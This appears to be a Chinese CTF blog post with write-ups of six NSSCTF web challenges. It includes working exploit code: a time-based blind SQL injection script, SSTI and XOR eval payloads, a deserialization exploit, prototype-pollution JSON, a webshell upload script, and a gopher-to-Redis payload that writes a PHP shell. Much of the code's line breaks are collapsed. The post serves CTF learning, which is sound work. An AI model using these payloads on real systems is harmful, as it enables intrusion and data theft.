NSSCTF web刷题记录5

---

[HZNUCTF 2023 preliminary]ezlogin

考点：时间盲注

打开题目，在源码出得到hint

注入点很明显是参数username，然后将上传的数据先逆序再base64解码；过滤了关键字，但是我们可以大小写绕过

脚本如下（列名有点多可以爆出三列就暂停去爆数据，flag在列password）

import requests
import datetime
import string
import base64url="http://node5.anna.nssctf.cn:28339/"
s=string.ascii_letters+string.digits
DB_name=''
TB_name=''
CL_name=''
flag=''#爆库名
print("开始爆破库名")
for i in range(1,50):low = 32high = 130mid = (high + low) // 2while (low < high):payload = f"1'/**/or/**/if((ascii(substr((DATABASE()),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)payload1 = base64.b64encode(payload[::-1].encode('utf-8'))data={"username":payload1,"passwd":1}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 2:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 32 or mid == 130):breakDB_name += chr(mid)print('database_name为：{}'.format(DB_name))#爆表名
print("开始爆破表名")
for i in range(1,50):low = 32high = 130mid = (high + low) // 2while (low < high):payload = f"1'/**/or/**/if((ascii(substr((Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like('users')),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)payload1 = base64.b64encode(payload[::-1].encode('utf-8'))data={"username":payload1,"passwd":1}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 2:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 32 or mid == 130):breakTB_name += chr(mid)print('table_name为：{}'.format(TB_name))#爆列名
print("开始爆破列名")
for i in range(1,100):low = 32high = 130mid = (high + low) // 2while (low < high):payload = f"1'/**/or/**/if((ascii(substr((Select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like('user')),{i},1)))>{mid},sleep(1),1)#".format(i=i, mid=mid)payload1 = base64.b64encode(payload[::-1].encode('utf-8'))data={"username":payload1,"passwd":1}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 1:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 32 or mid == 130):breakCL_name += chr(mid)print('column_name为：{}'.format(CL_name))#爆数据
print("开始爆破数据")
for i in range(1,100):low = 32high = 130mid = (high + low) // 2while (low < high):payload = f"1'/**/or/**/if((ascii(substr((Select/**/group_concat(Password)/**/from/**/users.user),{i},1)))>{mid},sleep(1),1)#".format(i=i, mid=mid)payload1 = base64.b64encode(payload[::-1].encode('utf-8'))data={"username":payload1,"passwd":1}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 1:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 32 or mid == 130):breakflag += chr(mid)print('数据为：{}'.format(flag))

得到flag

[MoeCTF 2021]地狱通讯

考点：ssti

源码如下

from flask import Flask, render_template, request 
from flag import flag, FLAG 
import datetime 
app = Flask(__name__) 
@app.route("/", methods=['GET', 'POST']) 
def index(): f = open("app.py", "r") ctx = f.read() f.close() f1ag = request.args.get('f1ag') or "" exp = request.args.get('exp') or "" flAg = FLAG(f1ag) message = "Your flag is {0}" + exp if exp == "": return ctx else: return message.format(flAg) if __name__ == "__main__": app.run() 

接收参数f1ag和exp，然后参数f1ag值经过FLAG函数处理，定义message字符串拼接，如果exp不为空，调用format方法

这里如果我们给f1ag赋值，那么不会被执行，只会被当字符串拼接进去，所以我们尝试让exp执行命令，由于message前面给了占位符0，那么我们只能让exp也具有该占位符，因此就能在执行return message.format(flAg)时让f1Ag中的值代入进去，然后找到他的所属类，然后找到FLAG中的全局变量flag。

payload如下

?f1ag=0&exp={0.__class__.__init__.__globals__} 

注意必须是0，与前面的占位符一样

得到flag

[NSSRound#7 Team]0o0

考点：

打开题目，有hint

访问一下

 <?php
header('get:S0uRc3');
error_reporting(0);
set_include_path('Round7/');
// include: Nss
// include: level2
if (isset($_GET['0o0'])) {$O0O = file_get_contents($_GET['0o0'],1);if (strpos($O0O, 'Round7') === 0) {die('NO!!!!!   Permission denied!'); } else if (strpos($O0O, 'Xy1on') === 0) {echo $O0O;die();} else {die("Nothing!!!");}
}
if(isset($_GET['S0uRc3'])){highlight_file(__FILE__);$O0O = file_get_contents('CTF',1);echo $O0O;
}else{echo "Nothing here";}
?> Xy1on: Do you love Tanji!
V me 50 Watch the bath video
Some words of the author: 5Li65LqG6YG/5YWN6KKr5LiA5oqK5qKt77yBCjRTNExWWkYyUTNVWURQN0ZRV0c2UklWTDRTNElCWlVLUkxUS0ZMUFBYU0FRVVJKVUlJNEVFUUtGR1JCRUNPQldJVTRUUU1LQ0laQ1RLT0JWSEJDRUtPQ0JHSkFVRVJKVUlJNERRTUNGR1k0RUNPQ0JJVTNFQ01TQklSQ1VNUVNESEFZVEFRSlRHUTJUR01aVUdSQlRLTlJWSUUyRE1NWlNHVVlUR01aVkdVMlRTTkJVR1VZREdOWlVHWTJUQ05KWEdRM1RHTlJWR0kyRFNOSldHUkJUR05CVkdNWlRJTkJaR1FaREtRSlZHVTJFRU5KU0dSQlRLTkJVSUkyRE1OQ0RHVVlES01CVkhBMlRHTkJSR1VZVEtOSlVJVTJFRU1aU0dRNFRHTkpWR0kyVElOQ0NHVTNUS01aVUhBMkVJTkNFR01aREtOUlZHVTJURU1aVEdRMkRJTlpWR1kyVEVOQlhHVVpUS01aVUlFMlRNTkNER1EzRElOUlZHVTJFSU5DRkdSQkRJUkJVSVkyVE1OS0JHVTJESVFSVkdRMkRJTkNCR1JBVEtNSlRHSTJUT01aV0dNWlRJUVJVSVEyRE9OS0JHUTNUSU5CVUdVMkVLTktCR1UzRElRSlZHSTJUS05KVkdRWlRJUkpVSUUyVEtOQ0JHUkNER01SVkdRMkVNTkNGR01aVEtRSlVIRTJEU01aVEdVMkRJUlJUR1kyRUVOQlRHUTNUR05CVEdNMlRRTkpUR1VZVEtNWlVHUTJFTU5KV0dVWVRLTkpWR01aVEVNWlRHUTNESVJCVkdZMlRDTkpYR1VZVEtOQlRHTTJERU5DREdRM0RLUUpVR00yVE9OS0JHUkJUS05KVUlZMlVDTVpTR1UzRElSUlZHTTJFR05KVUdSQVRHTkpWRzQyVE9OSlRHTVpUSVFSVkdBMkVJTkpXR1VZVEtOWlZHRTJUSU1aVEdSQVRJUlJWSUVaVEVOQlZHTTNESVFSVklFMlRTTkNGR1EzRElNSlZIQTJES01aVEdRMkRJT0pVSU0yRE1OSldHUTNUR01SVEdVMkRHTktCR1JCVElNUlZHNDJUUU5CWkdVM1RJUVJWSEUyRUtOSlNHVTRUSU5SVkdVMlVDTkpVR1JCVElSUlZHWTJES05KVkdRNFRHTVJUR00yVE1OQ0JHUkNUS09KVUc0MlRHTkpYR1JCREtPSlVJRTJVQ05KWEdRMkRJUlJVSVVaVEdOS0JHUTRUSU9KVEdNMlRJTkNHR00zRElRUlVHTTJEU05DRkdNWkRLTlJVSVkyRUdNWlRHVVpESU5SVUlVMkVHTkpWR00zREdOSlVJRTJFR05DRUdVM0RLTVJWRzQyVEdOQ0NHTVpUSU5SVUlRMkVLTkpWR1UyRElNSlVJVTJFR01aU0dSQ0RJUkJWR1kyVE9NWlNHVVpUSU5CVUlJMkVDTVpWR1VZVEtOWlVHNFpURU5DREdRM0RJUVJVSVFaVEdOSlhHUkRES05CVEdJMlRJTkJYR1UzREtOSlZHVVpUTU5KV0dNWkRLTVJVSVkyRENOSldHVVpUS05aVUlZMkRJTkJZR1JCRElOSlRHWTJUSU1aU0dRWlRLT0JVRzQyVE9OSlhHUVpUR05SVUlVMkVLTkNFR1EzREdOQlZHNDJETU5DQ0dRWkRLUUpVR1kyVFNOSlJHUTJES05CVkhFMkRNTkNHR1VZRElOSlZIQTJER05DR0dSRERLTVJVSUUyRUtNWlhHUVpESVFaVkdNMlVDTktCR1JCRElPQlVIRTJUUU1aV0dSQ0RHTlJWR1EyREVNWlVHUkNER05CVkdNWlRJTkpaR1U0REdNUlVJUTJUUU5KWEdVWVRJTlJVSVkyRUdOQlZHTTJESU9KVEdRMlRPTkNCR1U0VEtNUlZJRTJFSU5KVUdVWkRJTUpUSVFaVUlNMkVHTkNER1JCVElRWUVDUkpXSUkyVFFOS0ZHWkJES09CVklVMlRRUUtCR0JDVElRUllIQVlFS05aWUdKQkRTUkpVSUk0RFNRMkZIQkFUS1FTR0dCQVVLTkpaSU5BVFFSSllJSkREU09LRkhFNERPT0NESVUyRUVPSllJSkNUU09KWElJMkFWWlZWUVhUTExCUEZSS1FPSk9FQTQ2QkxUWkZZVFRVS0xQWT0=

提示有level2，然后Xy1on要在0的位置，运用工具（注意后面跟空格）
把读取的文件改为level2

访问，源码如下

 <?php
error_reporting(0);
highlight_file(__FILE__);$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {if (isset($_GET['nss_ctfer.vip'])) {if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";if ($nss && $nSscTF === "NSSRound7") {if (isset($_POST['submit'])) {$file_name = urldecode($_FILES['file']['name']);$path = $_FILES['file']['tmp_name'];if(strpos($file_name, ".png") == false){die("NoO0P00oO0! Png! pNg! pnG!");}$content = file_get_contents($path);$real_content = '<?php die("Round7 do you like");'. $content . '?>';$real_name = fopen($file_name, "w");fwrite($real_name, $real_content);fclose($real_name);echo "OoO0o0hhh.";} else {die("NoO0oO0oO0!");}} else {die("N0o0o0oO0o!");}} else {die("NoOo00O0o0!");}} else {die("Noo0oO0oOo!");}} else {die("NO0o0oO0oO!");}} else {die("No0o0o000O!");}
} else {die("NO0o0o0o0o!");
} NO0o0o0o0o!

首先是各自绕过，第一层数组绕过，NSSCTF[]=1&NSSCTF[]=2，第二层是in_array()第三个参数没有直接strict导致可以绕过，NsScTF=1q，第三层是伪协议NsScTf=data://text/plain,Welcome to Round7!!!，第四层nss_ctfer.vip注意变为nss[ctfer.vip(因为PHP匹配的时候会自动将[.变成下划线，有且仅变一次)，第五层是intval()绕过，字符串使用科学计数法，会默认是前面的数字，比如’1e1’转化变成1，NSScTf=114514e1，第五层直接nSScTF=1，$nSscTF=NSSRound7。这里的关键是文件上传，通过strops()检测文件的名称是否存在png，直接改增加png即可绕过，关键是会将<?php die(“Round7 do you like”);写入到文件中，所以就导致了传入的虽然是php文件，但是会终止。这里也是使用上面同一个tips，使用过滤器使用文件，如php://filter/write=convert.base64-decode/resource=aiwin.png.php，让写入内容进行base64解码，这里要使用URL编码，绕过/resource=aiwin.png.php作为文件名，然后在文件写入的内容中构造base64，使得<?php die(“Round7 do you like”);被不正常解码，造成死亡绕过。

这里我们可以测试一下，如果我们的一句话木马直接拼上去，会发现解码为乱码
解决办法是添加字符，使得后面解码完为正确的代码

import requests
from base64 import b64encode
import redef get_flag(URL):url = f"{URL}/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"data = {'submit':1}payload = str(b64encode(b"<?php system('cat /home/f1ag');?>")) #修改为自己想要执行的命令payload = re.findall(r"b'(.*?)'",payload)[0]file1 = {'file': ('shell.png.php', f"aaa{payload}")}file2 = {'file': ('%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%65%6E%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%73%68%65%6C%6C%2E%70%6E%67%2E%70%68%70', f"aaa{payload}")}requests.post(url,data=data,files=file1)requests.post(url,files=file2,data=data)nssctf_text3 = requests.post(f'{URL}/shell.png.php').textprint(nssctf_text3)if __name__ == "__main__":get_flag("http://node5.anna.nssctf.cn:28308")

[ISITDTU 2019]EasyPHP

考点：取反方式异或%FF

源码如下

<?php
highlight_file(__FILE__);$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');eval($_);
?>

第一个正则匹配ASCII 字符从空字符到空格之间的任意字符，匹配数字0-9，匹配$、&、.、,、|、{、[、_、d、e、f、g、o、p、s ，匹配ASCII 字符的删除字符，不区分大小写；第二个if语句首先转换成小写，计算使用过的不同字符，得小于13

我们看到没有过滤^，尝试一下phpinfo
与%ff异或脚本如下

<?php#用不可见字符异或
$l = "";
$r = "";
//$argv = str_split("_GET");
$argv = str_split("phpinfo");
for($i=0;$i<count($argv);$i++)
{for($j=0;$j<255;$j++){$k = chr($j)^chr(255);if($k == $argv[$i]){if($j<16){$l .= "%ff";$r .= "%0" . dechex($j);continue;}$l .= "%ff";$r .= "%" . dechex($j);continue;}}
}
echo "(".$l."^".$r.")";
?>

成功执行

我们尝试构造print_r(scandir('.'));，发现提示过长

本地测试下，长度为16

那么我们要将长度减小到14以下
思路就是将利用重复出现过的来通过异或构造出其中3个字符
我选择pnritd去构造ntr，脚本如下

str = "pscadi"
target = "ntr"for i in target:for a in str:for b in str:for c in str:if ord(a) ^ ord(b) ^ ord(c) == ord(i):print("{} = {}^{}^{}".format(i,a,b,c))

运行脚本，每个都取第一个

n = c^d^i
t = s^c^d
r = p^c^a

原payload

?_=(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)((%ff^%d1)));

将对应的字母用异或表示，若无则%ff
print_r()如下

((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8f%96%9c%8c%a0%8f)^(%ff%9c%ff%9b%9c%ff%9c)^(%ff%9e%ff%96%9b%ff%9e))()

scandir()如下

((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%9c%9b%96%8f)^(%ff%ff%ff%9b%ff%ff%9c)^(%ff%ff%ff%96%ff%ff%9e))()

本地测试下成功

成功读取

那么我们用readfile和end读取
构造readfile(end(scandir('.')));

?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

得到flag

[极客大挑战 2020]greatphp

考点：原生类反序列化
源码如下

 <?php
error_reporting(0);
class SYCLOVER {public $syc;public $lover;public function __wakeup(){if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){eval($this->syc);} else {die("Try Hard !!");}}}
}if (isset($_GET['great'])){unserialize($_GET['great']);
} else {highlight_file(__FILE__);
}?>

首先进行MD5和sha1的强等于，然后过滤一些关键字包括单引号，括号。如果为真则命令执行

我们用数组即可实现MD5和sha1的绕过，但是eval函数无法接收参数为数组，这里我们利用原生类Error去构造payload，因为Error类可以让这两个对象本身不同，而内部可以将异常或错误对象触发_tostring()方法，使得绕过MD5和sha1判断；然后就是绕过正则匹配，我们用文件包含include "/flag"，由于过滤了引号，取反绕过

exp如下

<?php
class SYCLOVER {public $syc;public $lover;
}$payload="?><?=include ~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($payload,1);$b=new Error($payload,2);  //注意同一行
$c=new SYCLOVER();
$c->syc=$a;
$c->lover=$b;
echo urlencode(serialize($c));
?>

得到flag

[安洵杯 2020]Validator

考点：Validator原型链污染

打开题目，直接扫目录
访问./run.sh，可以看到有app.js

我们直接访问，得到源码
（这里为什么可以直接访问./app.js得到，我的理解是因为中间件为js，由于express-static配置错误，导致可以任意查看静态文件）

const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')const app = express()
const port = 9000app.use(express.json())
app.use(express.urlencoded({extended: true
}))let info = []const {body,validationResult
} = require('express-validator')middlewares = [body('*').trim(),body('password').isLength({ min: 6 }),
]app.use(middlewares)readFile = function (filename) {var data = fs.readFileSync(filename)return data.toString()
}app.post("/login", (req, res) => {console.log(req.body)const errors = validationResult(req);if (!errors.isEmpty()) {return res.status(400).json({ errors: errors.array() });}if (req.body.password == "D0g3_Yes!!!"){console.log(info.system_open)if (info.system_open == "yes"){const flag = readFile("/flag")return res.status(200).send(flag)}else{return res.status(400).send("The login is successful, but the system is under test and not open...")}}else{return res.status(400).send("Login Fail, Password Wrong!")}
})app.get("/", (req, res) => {const login_html = readFile(path.join(__dirname, "login.html"))return res.status(200).send(login_html)
})app.use(express_static("./"))app.listen(port, () => {console.log(`server listening on ${port}`)
})

分析一下，重点看/login路由，if语句判断密码是否为D0g3_Yes!!!，然后继续判断info的属性system_open是否为yes，如果为真则读取flag

我们试试直接用正确密码访问，发现并没有什么收获

我们的思路很简单，就是利用原型链污染属性system_open为yes，但是目前并不知道漏洞
我们查看下package.json，发现是validator

validator简介

在Node.js中，"validator"是一个常用的数据验证库，用于验证和处理不同类型的数据。它提供了一组方便的函数和方法，用于验证字符串、数字、日期、URL、电子邮件等常见数据类型的有效性。

express-validator中lodash在版本4.17.17以下存在原型链污染漏洞
payload如下

{"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222
}

我们的目标是污染system_open为yes，稍微修改下payload

{"password":"D0g3_Yes!!!","a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes"
}

postman发送json数据

污染成功后，再次用D0g3_Yes!!!登录
得到flag

[GKCTF 2020]ez三剑客-ezweb

考点：ssrf、gopher协议、redis服务未授权访问漏洞

打开题目，得到hint
传参后发现给了内网ip地址（也就是说本题不是打127.0.0.1）

我们尝试用file协议读取源代码，结果发现被过滤了
用以下两种方式绕过，获取源码

file:/var/www/html/index.php
file: ///var/www/html/index.php  //中间有空格

源码如下

<?php
function curl($url){  $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}if(isset($_GET['submit'])){$url = $_GET['url'];//echo $url."\n";if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match)){//var_dump($match);die('别这样');}curl($url);
}
if(isset($_GET['secret'])){system('ifconfig');
}
?>

过滤了file协议，127.0.0.1等一些关键字，但是我们可以用gopher协议去打
但是我们要知道具体能被利用的ip服务和端口
使用bp去爆破，探测主机的存活

得到ip为172.2.0.147
（为什么不是146可以试试发现不行，然后扫出来其他一些主机存在文件上传和登录框没啥用）

由于我们不知道端口，猜测为redis服务，然后默认端口为6379
利用redis服务未授权访问漏洞在根目录创建shell.php

脚本如下

from urllib.parse import quote
protocol="gopher://"
ip="172.2.0.147"      #运行有redis的主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += quote(redis_format(x))print(payload)

然后再将payload复制到输入框，成功写入后
访问，得到flag

?url=172.2.0.147/shell.php&submit=提交